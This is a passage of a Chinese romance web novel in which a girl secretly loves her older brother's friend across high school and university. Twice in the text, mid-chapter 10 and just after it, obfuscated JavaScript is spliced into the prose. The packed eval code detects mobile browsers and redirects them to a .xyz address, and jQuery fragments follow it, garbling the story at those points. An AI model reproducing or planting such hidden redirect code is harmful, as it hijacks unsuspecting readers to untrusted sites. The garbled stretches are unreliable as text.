林今世的目光追随着她，鞠言从他身旁经过的那一刻，他忽然叩住了她一只手腕，将她压到了墙上。 男人的身体瞬间遮住了鞠言的全部视线，她感到他的手掬起了她的脸，目光还未触到他的眼睛，他的唇已先贴了上来。 一阵唇舌缠绵过后，鞠言几乎是用尽了全力才将他推开，在公共场合这样让她的脸颊迅速烫了起来，她仰起脸瞪着他，微微喘气道：“放手！” 也许是怕弄痛她，林今世的手劲放轻了一些，却没有松开手，冷笑道：“这次怎么不咬了，是怕他看出来吗？” 鞠言不打算理会他带刺的问题，她挣了挣，但完全没有用。 “你答应过不介入我生活的。” “前提是你不可以喜欢上别人。”林今世的声音依旧像从前那样懒散，却多了几分冷意，不过并不是对她，而是针对另一个男人。 “只是朋友。”鞠言试图将手抽出来，可只要林今世不肯，她的想法就只是在做梦，鞠言恼火起来： “放开我，会被人拍到网上的。” “我不在乎。”林今世压近了一点。 鞠言侧开脸，避免和他的鼻息撞到一起： “我在乎。” “……”林今世松开了她的手腕，将手抄回兜里。 鞠言推开他想离开，林今世再度拉住她的手腕拽了回来，禁锢到自己两臂之中，鞠言冷声道： “林今世，记得你自己答应过的事。” 林今世俯下身，让自己能够看着鞠言的眼睛，他痛苦道：“要我眼睁睁看着你和另外一个男人在一起，你觉得我做得到吗？” 提到李景显，林今世本就冰冷的声音愈发失温。 鞠言不想和他再在这里纠缠下去，侧过脸道：“我还没有谈恋爱的打算。” 林今世冷笑道：“打算？你的意思是如果你想谈恋爱了，就会选择他吗？” 他们什么关系都没有了，可林今世对她还是有那么强的占有欲。鞠言的火气上来了，她挣脱林今世的手： “不关你的事，反正我选谁都不会选你的！” “……”林今世瞳孔微缩，脸上的表情像是心脏在一瞬间碎裂了。 他的神情使鞠言怔了怔，她偏开视线，默然两秒后狠心道：“你不想我更讨厌你的话，就放开我。” “……”林今世的眉头抖了一下，他隔了片刻，才松开握着她的手，鞠言怕他会反悔，立刻就走，手腕却再次被林今世握住。 他的语气虽是命令式的，鞠言却听出了几分哀求： “你不许喜欢上别人。” 这一次，林今世握得并不用力，鞠言抽回手，没有理会林今世的话，只道： “我今天很累了，你不要再来打扰我。”她不想待会儿回去再和林今世纠缠，便提前警告他。 林今世：“可以，但你要答应我刚才说的。” 鞠言只能暂时向他妥协：“……知道了。” 鞠言又回到卫生间，在镜前照了照，确定自己的面色已经恢复如常，才走了出去。 - 回到座位后，李景显打量着她的神色： “路上遇到什么事情了吗？” “没找到洗手间，多废了点时间。” “……”李景显的眼色有一瞬变化，但很快恢复如初：“是碰到林今世了吧。” “……嗯。” “他纠缠你了是吗？”李景显看着她的眼睛。 鞠言没有正面回答，因为今晚的突发状况，她已经没了去听音乐的心情，她对李景显道： “我今天有点累了，过几天再来可以吗？” “当然。”李景显嘴角生出体贴的笑；“随时都可以，你只要你愿意。” 鞠言看到林今世也回了座，他身旁胖胖的经纪人正在对他说着什么，林今世漫不经心地听着，朝她瞥了一眼。 鞠言垂下眼，避免和他对视。 李景显并没有回过头去看林今世，他放下刀叉，动作高贵地用白餐巾抹了抹嘴角擦了擦嘴。 看他的样子似是吃好了，可还剩了下好些菜没动过，鞠言微微怔了下：“你吃饱了吗？” 李景显颌首。 鞠言知道他的意思，她犹豫片刻，抬手唤来了服务员。 和李景显出了餐厅，鞠言一直注意着林今世有没有跟出来，直到上了车，她才松了口气。 等鞠言系好安全带，李景显把车开起来。 鞠言有些歉疚：“抱歉。” “没事，我吃的很愉快，况且，”李景显侧头看向她，嘴角挑起笑：“要怪也该怪他。” 鞠言：“……” 车前玻璃上逐渐落上了一点点亮晶晶的雨珠，雨刮器被打开，匀速摇晃着抹去了雨水。 鞠言侧脸望着窗外，雨中的街道使她有些怅然，或许还是因为今天遇到了林今世的缘故。 “你记不记得我们两个第一次遇见的时候也是雨天。”李景显忽然道。 “嗯？”鞠言回脸看向他。 “忘了？”李景显笑着朝她看了一眼。 鞠言微笑道：“怎么会。” 她没有告诉李景显，她清晰的记得那一天，并不是因为他，而是和另一个人有关。 - 高二时期残夏的一个傍晚，雨帘不断从银蓝的天空中坠落，鞠言挽着装有新辅导书的蓝色帆布袋走出书店，她停在檐下，预备撑开伞。 余光瞥见站在廊柱旁的一个年轻男人，他两手插兜望着雨势，似是没带伞，看样子有些着急。 男人不过20岁左右，看打扮像是大学生。身材高大挺拔，接近一米九的样子，侧影线条英朗，即使动作处于静止的状态，也流露出一股内蕴的优雅气度。 感受到她的目光，他看向她，友好地微微一笑。鞠言得以看清他的正面，浓眉高鼻，长得有点像混血儿。 陌生男人的笑并没有让鞠言觉得有任何不适或者害怕，他表示出来的纯粹只是礼貌。 她主动走过去，见她似要和他交谈的样子，男人绅士地俯下身。 鞠言询问道：“需要帮忙吗？” 男人稍显意外，朝她手里那把还没撑开的伞打量了一眼，随后说了声：“谢谢。” 鞠言撑开月白色长柄伞：“你家是在哪里？” “我不是玉雾的，”男人笑道，“麻烦你送我到车旁就可以了，就在附近。” 鞠言点点头，他从她手里接过伞：“需要我帮你提包吗？” 鞠言摇摇头。 男人的身高把伞带离她的头顶好一段距离，鞠言的伞不够大，他又把伞几乎都倾向了她，半个肩膀的衣服还是被淋湿了。 两人踏着薄薄的清雨走到对面商场的停车场，男人按了下手中的钥匙，一辆黑色的路虎亮了亮灯。 他坐上副驾驶，抽了几张纸巾递给鞠言：“你家在哪儿？我送你过去。” “谢谢。”鞠言接过纸巾，微笑着摇了摇头。 男人理解她的担心，嘴角漾出迷人的笑： “不放心的话，可以先给家人拍张我的照片。”“不过可要把我拍帅一点。” 鞠言被他的话逗得扑哧一笑：“不麻烦了，我家就在附近。” 男人点点头，没有再强求，朝她摆了摆手：“那再见。” 鞠言和他说了：“再见。”撑着雨伞朝人行道走。 男人的身高跟林今世差不多高，和他并肩而行或许就是这种感觉。 鞠言半沉浸在快乐的幻想中，洁白的鞋子小心地踏着湿漉漉的方砖地，有辆车开上来在她身旁缓速行驶，鞠言下意识侧脸。 车窗降下，男人带笑的俊朗脸庞出现眼前。 “对了，忘记问你叫什么名字了。”他先自我介绍，“我叫李景显，景色的景，显眼的显。” 鞠言怔了下，随即道：“我叫鞠言，语言的言。” “鞠言，”李景显念了一遍，点点头笑道：“我记住了。”他又跟她说了一遍“再见”。随后一只手打转方向盘，车子掉过头，向后方驶去。 回到家，鞠言换掉被雨水溅湿了衣裤，又冲了个澡，才回到卧室舒舒服服地开始赶明天下午返校后要交的作业，她先写完了生物老师出在黑板上的题目，再开始写最令人头疼的数学试卷。 卷子的最后一道大题，鞠言涂涂改改几次都算不出来，她做好了被鞠然嘲笑的准备，拿了卷子走到鞠然的房间外敲了敲门。 虽然鞠然看起来有点不正经，但是却是个二模接近700分的学霸。 过了好一会儿，房门才打开。 “干嘛？”鞠然低头目不转睛地盯着手机，双指飞快地跃动着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305813|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞠言：“有道题不会，你教我。” 鞠然正在玩游戏，颇有些不耐烦：“你问补习班老师不就好了。” “老师她没空，只有一道题而已，浪费不了你多少时间的。”鞠言求道。 “我也没空。”不等鞠言说话，鞠然忽然喊了起来：“我去，法师你把我蓝拿了，我拿什么！” “求你了，哥。”鞠言双手合十，“我等你打完。” “好吧好吧，等我打完这一把。”鞠然侧过身，勉为其难地答应下来。 “谢谢哥。” 鞠言拿着卷子擦过鞠然的身体进去，刚走了一步，一看清卧室内的另一个人，她的脚步立刻有些僵了。 林今世竟然也在，他背靠着鞠然的床沿懒散地坐在地上，正在打着游戏，身上穿着她最喜欢看他穿的那件黑色卫衣。 鞠言的身体瞬间绷紧，她注意着自己走路的姿势，慢吞吞地走到鞠然的书桌前坐下。 等了五六分钟，她听到身后传来了鞠然激动地喊声：“轻松拿下！” 林今世淡漠而好听的声音传来：“轻松？你可是4-6。” 鞠言没忍住，一下笑了出来。 “笑什么笑，你上次和我玩可是2杠7！”鞠然气哄哄地说道，他将手机揣到兜里，拉了张椅子在鞠言旁边坐下： “哪道题？” “这题。”鞠言将题目指给他看。 鞠然俯身过来看了一眼，“这么简单的题都不会？” 闻言，林今世像是好奇似的侧眸朝她的卷子瞥了一眼。 “只有这一题不会。”鞠言连忙说道，她的声音很干涩，紧张得连呼吸仿佛都有些困难，鞠然已经开始讲题了，但他的声音她完全听不见，只木木地看到鞠然的嘴唇在无声地开合着。 鞠然讲完了解题思路，询问鞠言道： “所以答案等于多少？” “啊......”鞠言怔了怔，稀里糊涂地说了个自己也不太确定的答案。 鞠然“靠”了一声，把笔丢到桌上：“你跟我是一个爸妈生的吗？我讲这么细，你都没听懂？” 鞠言：“……” 她的脸涨得通红，第一时间望了眼身旁的林今世，好在林今世顾自垂眸刷着手机，完全 没有在意他们这边的情况。 但鞠言还是觉得有些丢脸，她带气推了鞠然一把，“你干嘛那么凶。”站起身头也不回地逃出了鞠然的房间。 “臭鞠然！臭鞠然！”鞠言气哄哄地趴在书桌上骂了鞠然好几遍，才平复心情重新开始写卷子。 直到凌晨一点，鞠言还在赶着返校后要交的作业，其余都写完了，唯有一张写了一半的数学试卷找不到了，鞠言在卧室里找了好一会儿，才想起好像是下午去问鞠然题目的时候落在他的房间里忘记拿回来了。 给鞠然发消息他没回，大概已经睡觉了，如果早上再拿的话，就来不及写了，没办法，鞠言只能悄悄打开鞠然的房门进去。 房间里黑漆漆的，她轻手轻脚地往记忆中书桌的位置走。 黑暗中不知被什么绊了下，她趔趄了下，向前扑跪在了地上，险些喊出声。 蓦地与少年朦胧的脸面对面，鞠言的呼吸瞬间停止。 她不知道林今世今天留宿在她家里，他没有醒过来，胸口微微起伏着，安静的空气中听得到他浅浅的呼吸声。 和他如此近距离的接触，使鞠言的脸灼烧起来，她的视线已经适应了黑暗，从帘缝中漏进来的淡薄月光浴在他如玉如琢的脸庞上。 鞠言看得入了迷。 反正林今世睡着了，她大起胆子，屏住呼吸伸指在他莹润的唇上轻飘地点了点。 他的嘴唇很柔软。 鞠言飞快撤回手，触过他嘴唇的食指仿佛和脸颊一样在隐隐发烫。 她没注意到自己垂落的发梢轻扫到了他的脸颊。 林今世眉心微蹙，下一刻，他惺忪地睁开了眼睛，目光相触及，鞠言身子顿时僵住，一动也不敢动。 他和她对视几秒，又缓缓闭上了眼睛。 幸好自己早已狂跳的心跳声没有将他吵醒。 鞠言连忙轻手轻脚地爬起来，压着脚步静悄悄地来到书桌旁，拿了卷子赶紧往外走，一路上注意着不踩到睡在地上的林今世。 她怀揣着劫后余生的庆幸，逃回自己的房间。 11. 第 11 章 高考录取通知出来那天，看到鞠然成功录取了第一志愿清津大学，叶珊激动地哭了起来，连一贯不苟言笑的鞠旭阳都高兴得不住地微笑。 鞠言也很替哥哥高兴，但除了鞠然以外，她还想知道另外一个人的录取结果，想知道他会在哪所大学度过四年。 她不敢直接去问鞠然，怕被他发现自己对林今世的喜欢，只能煎熬地等待着哪一天鞠然会偶然提起。 为了庆祝，鞠旭阳请客，全家一起出去吃饭，鞠然不客气地点了一大桌子的菜，光是虾就点了好几种。 叶珊不经意间问出了鞠言一直想知道的问题： “对了，小今考了哪所大学？” “跟我一样，我俩说好的。”鞠然喝了口红酒后说道。 红酒是鞠旭阳特意点的，说是为了祝贺鞠然彻底成人。 听到林今世也考上了清大，鞠言第一时间是替他雀跃，可很快的，她又有些失落。 鞠言从前趁着高三下课的间隙偷偷跑上楼去林今世的班级看过他填写的预期志愿表，她最大的愿望就是以后可以和他读同一所大学，能多看他一眼，也很幸福。 可清津大学的分数线很高，以她目前的成绩略有些困难。 万一自己没有考上…… 鞠言忽然有一瞬间有些嫉妒鞠然，扪心自问，在学习上她比鞠然更加苛刻，可鞠然却轻松地考上了对她来说有些困难的清津。 “比比，你也要努力，争取和你哥哥考一所大学。”鞠旭阳喝了点酒，更加兴奋了。 “她要是也有哥哥那么聪明我也就省心了。”叶珊笑眯眯地说着，剥了一只虾放到鞠然的碗里。 父母更喜欢鞠然，不止是学习的方面，叶珊还总是说鞠言长得不如哥哥好看，有时候甚至还会故意当着鞠然的面感慨：“你怎么不长得多像我一些呢？那就跟你哥哥一样漂亮了。” 其实鞠言的长相更像叶珊，母女俩都属于是干干净净的“矿泉水”长相，鞠然的脸型则是更像爸爸，要硬朗一些。 鞠言忍不住有些委屈，但她不想在今天跟叶珊吵架，便没去理她，当没听见。 鞠然微微蹙眉：“妈，好好的吃顿饭，能不能别批评比比了，待会儿弄得大家都不高兴。” “好好好，今天你高兴最重要。”叶珊今天对鞠然无限包容。 鞠然看了鞠言一眼，笑起来：“你虽然没我聪明，但好歹也是我妹，高考什么的不用太担心。” 虽然鞠言心里感谢鞠然安慰她，但面上还是“哼”了一声表示不屑。 - 第二天，鞠言一个人乘公交车回了趟学校。 现在是暑假，学校不让进，鞠言谎称来拿落下的作业，门卫室的保安才放她进去。 校园静悄悄的，只有蝉声与鸟语，没有一丝人声，像是午睡时间一个人悄悄去上洗手间时的感觉。 林今世毕业了，下学期开学她也将升入高三。 穿过寂静的走廊，鞠言走进林今世曾经的教室。现在是暑假，教室里的的座椅都空着，阳光从窗口穿进来，斜斜的一道横在蒙着淡淡粉笔灰的黑板上。 高三（9）班的后黑板上用彩色粉笔绘制了毕业海报，几个绿色的大字喊出终于释放的愉悦： “我们毕业啦！！！” 除了绘画之外，还有一条条毕业生留给下一班高三学生的寄语。 鞠言站在黑板报前，把各色的寄语一条条认真看过去，希望能找到林今世留下的任何痕迹。 几十种字迹中没有他的。 倒是发现了好几条鞠然留的欠欠的寄语。 鞠言对自己哥哥留下的任何话都没有兴趣，她走到林今世昔日的座位上，将椅子放下来，用手指轻轻触摸着蒙了一层薄灰尘的课桌，他曾经在这张课桌上写卷子，伏在上面睡午觉。 鞠言在椅子上坐下，学着林今世的习惯性动作，一手撑着脸，侧脸望向窗外的风景，用他的眼睛看。 从他的位置也能清晰地看到一楼她的教室，可是他几乎从来没有侧脸过。 她在他那里只有一个身份：朋友的妹妹。 鞠言的心里有些怅然，她在他的座位上坐了许久，才将桌子擦干净，轻轻在上面落下一吻。 - 准高三生的暑假，不过就是换了一个地方学习。为了下一年的高考，鞠言依然需要清晨六点多就床，揣着早餐搭地铁去上从八点开始到晚上六点放学的补习班，两个星期只有一天半的假期。 她几乎每天都被浸泡在学习的时间里，除了水和米饭，试卷也成了“一日三餐”。 八月中旬的一个周六，鞠言中午放学回到家，父母去工作了，只有鞠然在家，鞠言懒得弄午饭吃，换上睡衣就倒在了床上，打算把积累了两个星期的疲惫和压力都在睡眠中释放。 脸刚贴到柔软的枕头，她便睡着了，这觉睡得很沉，睡梦中迷迷糊糊听见鞠然进了她房间一趟，她太累了，并没有睁眼睛。 鞠言睡到下午五点才醒，夏天傍晚的天色依然明亮，柔和的夕阳金中带橙。 鞠言拿出耳机来听歌，坐在书桌前埋头啃作业，写了半张数学卷子，手机响了一声，是鞠然的消息，理直气壮的两个字： 【开门。】 家里只有鞠然出门总是不记得带钥匙，对于让她放下手头上的事，特意出房间一趟去为他开门，鞠言有些生气，在手机上反问： 【你下次能不能记得带钥匙？】 鞠然回复了一个极欠揍的吐舌头的小表情： 【不能。】 鞠言气得晾了他一会儿，顾自将耳机里还剩下的三分之一的歌听完，才板着脸走出卧室，她快步到玄关，带情绪地将门往外一推，不耐烦地凶声说： “下次再不带钥匙，你就在外面待着吧，别想要我给你开门！” 门一推开，眼前像有光闯入，鞠言的心停跳了一拍。 “……” 门外只有一个人，修长的身躯几乎占据了整个门框，他居高临下地看着她，垂睫如羽。 快有一整个暑假没见过林今世了。鞠言本以为自己对他的执念已经稍稍褪去一点儿，可当看见他的那一刻，她就明白了那只是因为喜欢上了一个根本得不到的人而产生的自我安慰。 他穿着三道杠黑色运动外套，领口竖着遮挡了下颚，跟从前一样令她心动。 毕业后许多学生做的第一件事就是去染发，林今世没有赶新鲜，仍是一头墨浓的黑发，不过稍长了一点。 鞠言发觉他戴了耳钉，镶钻的小十字架亮晶晶的，让他比从前看起来更难接近。 看到她一脸不情愿，林今世眼神微动，沉默几秒后，淡声道：“谢谢。” 不知道是不是她的错觉，他比起以往，今日似乎多看了她几眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305814|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……没关系，我以为是我哥。”鞠言声音轻得几乎听不清，她伸手理了理有些潦草的披发，木着脸走往回走，眼底的余光瞧得见自己身上穿着的那件叶珊两年前给她买的卡通睡裙。 一进卧室，鞠言第一时间抓起书桌上的镜子照。 她怔住了，她的鼻子下方不知何时被人用黑色记号笔画了几道胡子。 一定是鞠然这个讨厌鬼！ 她抓着镜子的手在颤抖，一想到自己刚才就是这个模样去开门的…… 鞠言有种欲哭无泪的感觉，恨自己为什么没有先透过猫眼看一眼。 她的房间没有卫生间，想洗脸只能去客厅的卫生间，不知道林今世还在不在客厅了，鞠言换了身衣服，纠结了好一会儿，又在心里预演了好几遍，终于鼓足勇气走了出去。 林今世已经不在外面了，鞠言庆幸之余又有些失落，家里没有其他人，她满脑子想着刚才的事，直接推开卫生间的门走了进去。 卫生间内的灯开着，视线相对一秒。 林今世被吓了一下，鞠言比他吓得更厉害。 她的目光条件反射地往下移了一下，脑海不受控倏然浮现出某次寝室里的聊天内容。 还是和黄欣瑶一个寝室的时候。 黄欣瑶性格奔放，在寝室里半开玩笑地跟邵芳说，自己喜欢林今世不只是因为他长得好看，还有一点是因为他看起来就很大很行。 真的……好大…… 鞠言其实并没有一直盯着看，只是这一刻的走神。 “……看够了的话可以出去了吗？”林今世的声音从上方落下来。 鞠言反应过来，脸一瞬间飞红：“对不起，对不起。”她一边低着头往后退出去，一边语无伦次地道歉。 鞠言简直就想死，她逃回房间，猛地扑倒在床上，拿枕头夹住自己的头，尴尬得在床上乱蹬乱踢。 这下林今世肯定觉得她是一个女色魔了，肯定要讨厌她了。 鞠言整个人都像是被蒸熟的虾，如果世界上有红种人的话，她一定可以混进去。 过了十多分钟，门铃又响了，应该是鞠然回来了，鞠言怕撞见林今世，并不敢出去给他开门。 片刻后，客厅的大门发出了被打开又合上的声响。 鞠言侧耳趴在卧室的门扉上，密切监听着外面隐约的谈话声，他们两个只是简单聊了几句，林今世并没有说起刚才的事情。 她的手机忽然响了一声。 是鞠然发微信问她：【我们要点麦当劳，你要不要吃？】 鞠言纠结着考虑了一会儿，就算尴尬也还是想珍惜能和林今世待在一个空间的机会。 【我要板烧鸡腿堡和香芋派，饮料要甜牛奶。】 发完消息后，鞠言将手机熄屏，握在手心里，她靠着门，身体慢慢往下滑坐在地上，心绪飘散，在心里猜想林今世会喜欢吃什么。会点些什么，有一种很新鲜的感觉。 大约过了十五分钟，门被人叩了两下，鞠然隔着门喊了她一声：“外卖到了。” 鞠言爬起来，拿镜子照了下脸……差点忘记了自己脸上被鞠然画的胡子还没有擦掉。 她的房间里没有备湿巾，杯子里的水也空了，由于怕撞见林今世，她一直没敢出去蓄。 没办法了，鞠言深吸一口气，一手捂住下半张脸，另一手打开房门，以最快的速度向外冲刺。 12. 第 12 章 鞠然正抱着平板挑电影，余光看到鞠言一阵风似的闪进卫生间，他怔了下，随后扑哧笑了出来： “还画在脸上？” 鞠言没理他，跑进卫生间将门反锁，蓦然想起家里卫生间的锁一星期前就坏了，所以今天下午才出意外…… 她一想到这件事就想撞墙，还没退烧的脸又拔高了温度。 鞠言把水温调到最冷，浸湿毛巾擦拭着自己发烫的脸，那几道墨画的胡须像是洇进了皮肤，很难擦干净，鞠言抓狂地用力擦了好几遍，那几道讨厌的胡须才终于看不见了，只是两边脸颊都已拭得红上加红。 她仔细地把头发重新梳了一遍，将衣服上的褶皱抚平，又在里面待了好一会儿，等脸没那么红了，左照右照确保无误后，才开门出去。 鞠言目光与从前无异，一眼便寻到了他。 林今世支着一条长腿坐在茶几一侧的地上，嘴里叼着吸管懒懒地吮着冰可乐。 明明只是随意的一副姿态，却让人眼前一亮。 鞠言一看到他脸又烧了起来。 “你再不出来我就要打120了。” 鞠然坐在林今世对侧的位置上，他听到她出来的响动，不回头嘲讽。 鞠言捏了捏拳，小声回怼：“还不是因为你！” 客厅的茶几上满摆着炸鸡汉堡之类的东西，正中的位置丢了只坐垫，是留给她的。 鞠言竭力敛住容，慢慢走过去，若无其事地坐下。 “看这部怎么样？” 鞠然将挑好的电影投屏到电视上，侧脸问林今世。 他挑的是一部喜剧片，这部影片刚上映时他就一直嚷着想去看，但因为被困在学校里没有时间，好不容易等到放假，影院已经下映了。 林今世朝鞠言略抬了下脸，问鞠然：“不问问你妹的意见？” “她的意见不重要。”鞠然故意说。 林今世没有回答，看了眼鞠言。 女孩坐在他身侧，鼻梁不高，但鼻形小巧秀气，从侧脸看上去有点像小猫，滑亮的秀发披散着，直直地坠在微圆的脸旁，白皙的脖颈隐在丝丝缕缕的乌发后。 林今世：“……” 鞠言反应过来他是在等着她开口，连忙道：“我都行。”目光下意识地看过去，对上他的眼睛，鞠言有一瞬间的怔然，耳根子不争气地热起来。 - 电影的笑点不是很多，剧情也只能算在及格线，鞠然和林今世只是在聊天之余偶尔看一眼。 鞠言则是连电影讲的是什么内容都不太清楚，虽然她表面看起来注意力一直在电视上，没有朝林今世看一眼，实则全身心都在关注他讲的话以及余光中他的侧影。 林今世吃东西起来很优雅，慢条斯理的。完全不像鞠然那样大吞大嚼。 鞠言吃得很小心，生怕在他面前留下丑相，把咀嚼声都压没了。 鞠然在和林今世聊天之余，注意到了她反常的矜持，他笑嘻嘻地朝她凑过去，一副欠揍的样子：“比比，你今天吃饭怎么装模作样的？” “要你管！”她瞪了他一眼。 电视内忽然传来一阵异声，三人不约而同地朝电视瞥了一眼。 电影里的男女主不知何时开始了尺度极大的和谐运动，一时间，女主角发出的娇嗔充斥了整个客厅。 “……” 鞠言紧低着头不敢抬起来，机械地往嘴巴里塞着芋泥派，吃了一大口，芋泥的味道却一点都没有尝出来，味道只有尴尬。 她在心里默默祈祷能早点放完。 运动终于结束了…… 鞠言松了口气，这才发觉自己屈坐着的腿都已经有点发酸了，她不动声色地换了个姿势，正想伸手去拿鸡块，电影里的男女竟再次开始和谐运动，还比上一次尺度来的更大。 林今世、鞠言、鞠然：“……” 空气再次安静，鞠言伸出一半的手也顾不上拿鸡块，只僵硬地抓了手旁的冰牛奶，叼住吸管吮了口。 入口酸甜呛喉。 “……” 鞠言看了眼手中的冰可乐，绝望地将目光投向鞠然。鞠然的手里正拿着一杯可乐在喝。 ！！！ 鞠言如遭雷击。 察觉到她的目光，鞠然叼着吸管看向她，目光在她再次涨红的脸上停留两秒，挪向了她手上的冰可乐，随后又挪向了桌上她的那杯甜牛奶。 鞠然：“……” 鞠言眼睁睁看着他的嘴角出现了笑意，鞠然幸灾乐祸地朝她身侧瞥了一眼，鞠言知道他看的是谁。 “我去！”鞠然不嫌事大的叫起来，“比比你是不是故意的？” 女色魔实锤。 手中可乐的冰凉降不下脸的滚烫，鞠言不敢看坐在身旁的林今世，只轻轻将可乐放下。 “对不起……”鞠言的声音细的连自己都听不清，在鞠然无情的嘲笑声里，她咬咬牙，补充道：“我现在下楼去再买一瓶回来赔给你，可以吗？” “没那么严重。”身侧传来林今世漫不经心的声音。 鞠然笑得人仰马翻的，鞠言气得拿纸团砸他。 林今世扫了他一眼，“别笑了行吗，你真够吵的。” 鞠然笑累了，站起身去上卫生间。 客厅里只余下他们两个人。 鞠言屈着腿坐着默默咀嚼着尴尬的余波。 林今世将盖子揭下来，就着杯沿喝了一口，手肘蹭掉了一团纸，他伸手去捡，漫扫过的目光偶然瞥见了她左脚踝上系着一根的脚链。 脚踝骨是柔嫩的粉红色，红色辫结的细绳与下方锁着的那只金打的小兔衬得她的白皮肤更加白皙了一些。 他的目光在上面停了停，忽然没头没尾地问道：“是你的生肖吗？” “什么？” “你脚上的。”他又垂眸扫了一眼她脚踝上系的脚链。 注意到他在看自己的脚，鞠言的脸即刻又有点红了，脚趾也不好意思地蜷起来。 “嗯……” 林今世立刻察觉到了，自己也觉得不该盯着看，他怔了一下，若无其事地瞥开了视线。 寂静的空气中有种无形的尴尬，虽然鞠言平时很烦鞠然，可此刻她却由衷的希 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鞠然提前说好了要来帮她搬行李，他抱着她的行李往女寝楼上走，一面在台阶上笑嘻嘻地回过头来：“怎么那么黏你哥啊，大学都要和我上一所。” 鞠言瞬间起了一身战栗：“我本来就想好了要考清大，和你没有任何关系，别自作多情行不行！” “你有没有良心？现在可是你哥我累死累活在帮你搬行李！” 鞠然的头发留长了，分开两侧，略有点遮住眉眼。他以前就一直有想留长发的念头，但碍于高中的校规没办法实施。 鞠言的寝室在四楼没有电梯，叶珊给鞠言准备了不少东西，鞠然和鞠言两个人甚至都得跑好几趟。 “等下，我喊林今世一起来搬。”鞠然搬完了一趟后，站在楼下拿出手机来发微信。 鞠言顿时紧张起来，忙悄悄拿出手机来检查了下自己的容貌和发型。 鞠然发完消息将手机揣回口袋，鞠言不知道林今世回了什么，她怕他会烦，小声说道： “别麻烦他了吧，我自己搬就行。” 鞠然莫名其妙地看了她一眼：“这有什么好麻烦的，再说了，难道麻烦我就不是麻烦吗！”后半句的语气颇为不爽。 鞠言心虚地不再说话：“……” 两人搬着行李上楼，为了方便进出，寝室的门大开着，鞠言牵着行李箱跟在鞠然身后走进去，一边打量着寝室的环境，五人寝室，上床下桌。 已经有两个人在寝室了，一个戴一副茶色方框眼镜，容貌寻常的女孩正拿着一块抹布在擦着自己的书桌，听到声音，她回过头来朝鞠言友善地笑了笑。 鞠言回以微笑。 另一个女孩看起来凶巴巴的，富有少年感的短发不拘地拢在耳后，正驾着一条腿靠坐靠近阳台的椅子上打游戏，听到有新室友进来，也没有回过头来看一眼。 鞠言把手里的行李箱在自己的书桌前暂时放下，折身出寝室，她踏着台阶往下走，不时同其他搬着行李的人擦肩而过。 鞠言走到一楼的楼梯口，林今世的脸猝不及防地闯入眼中。 13. 第 13 章 目光相对仅一秒，林今世已收回目光，鞠言脚步一顿，忙垂下了眼。 下落的视线望见了林今世手上提着她的东西。 他淡然而动听的声音从上方传来：“几楼？” “406。”鞠言的声音轻如细蚊。 她让出位置让林今世先上去，他一背过身，鞠言赶忙拿了件小的行李跟在他身后，借着上楼的机会，偷偷望着他的背影。 林今世的背影也好看极了，鞠言满足地望着，脚步不觉轻快起来，不止是她，楼梯上经过的女生也纷纷向他投去了心仪的目光。 行李很快都被搬进了寝室，鞠然把最后一只箱子在鞠言的书桌旁搁下，打开手机看了眼时间，随后询问鞠言： “等下一起吃晚饭？” 林今世已经出去了，站在走廊上双手抄兜等鞠然，看不见他鞠言的紧张情绪减轻了不少，她摇了摇头：“刚才班主任在群里说等下要开班会。” 虽然鞠言很想和林今世一块儿吃晚饭，但第一天报道她可不敢旷课。 另外两名室友也陆续到了，一个叫周靓雯，另一个叫沈清梨，鞠言和她们都打了招呼，彼此加了联系方式。 她收拾完行李，从书包里找出薯片，按床位顺序一个个分过去，只剩下短发女孩了，鞠言走过去，小心翼翼地问道：“你要薯片吗？” 关鸥侧脸扫了她一眼，伸手从薯片袋里拿了一片：“谢谢。” 开班会的时间快到了，五个人一起下楼，关鸥不和她们一个专业，在楼下便分开了。 开学第一场班会课，主要就是自我介绍，以及选班委之类的，应用心理学1班大概有三十多个学生，鞠言和三个新室友坐在同一排座位上。 班主任是个模样和气的年轻女人，看起来不过三十岁左右，她根据座位从后往前，让每个人都简单地做了个自我介绍。 随后便开始了选班委的活动，有不少同学上台竞争，鞠言对当班委没有兴趣，没有举手，同寝的周靓雯参与了团支书的竞选，临上台前小声对她们说道：“记得给我投票。” “还有哪些同学想选班干部的？”班主任微笑扫视了一圈班级里那一张张年轻的脸。 她的目光落在了一个男孩的身上，男孩五官清俊，眉眼温和，穿着干净的白衬衫，腰背自然笔挺，看起来给人一种稳妥可靠的感觉。 见他没有要举手上台的意思，班主任忍不住主动询问他：“这位同学，你选个职位好不好？学习委员怎么样？” 男生笑笑站起来，他推了下鼻梁上的眼镜：“老师，那选班长可以吗？” “当然。”不到几分钟的相识班主任对他印象就很好，“那你上台介绍一下自己吧。” “我叫周孝明……”男生站在台上，微笑着开始自我介绍。 “是个帅哥！”坐在身旁的沈清梨激动地摇了摇鞠言的手臂。 周孝明咬字清楚，谈吐大方知礼而不做作卖弄，简单一番自我介绍下来，几乎获得了全班人支持的票数。 - 经过了几天的相处，鞠言和宿舍里的几个女孩儿都已经相熟，原本让她有些害怕的那个短发女孩关鸥，鞠言有时候也敢对着她撒娇了。 沈清梨和周靓雯很快都有了男朋友，关鸥是隔壁法学院的，所以鞠言平时上下学都是和童钰同行。 有几个学院大一至大二需要强制上早晚自习，早自习七点十分开始，八点钟结束，晚自习则要从六点半上到八点。 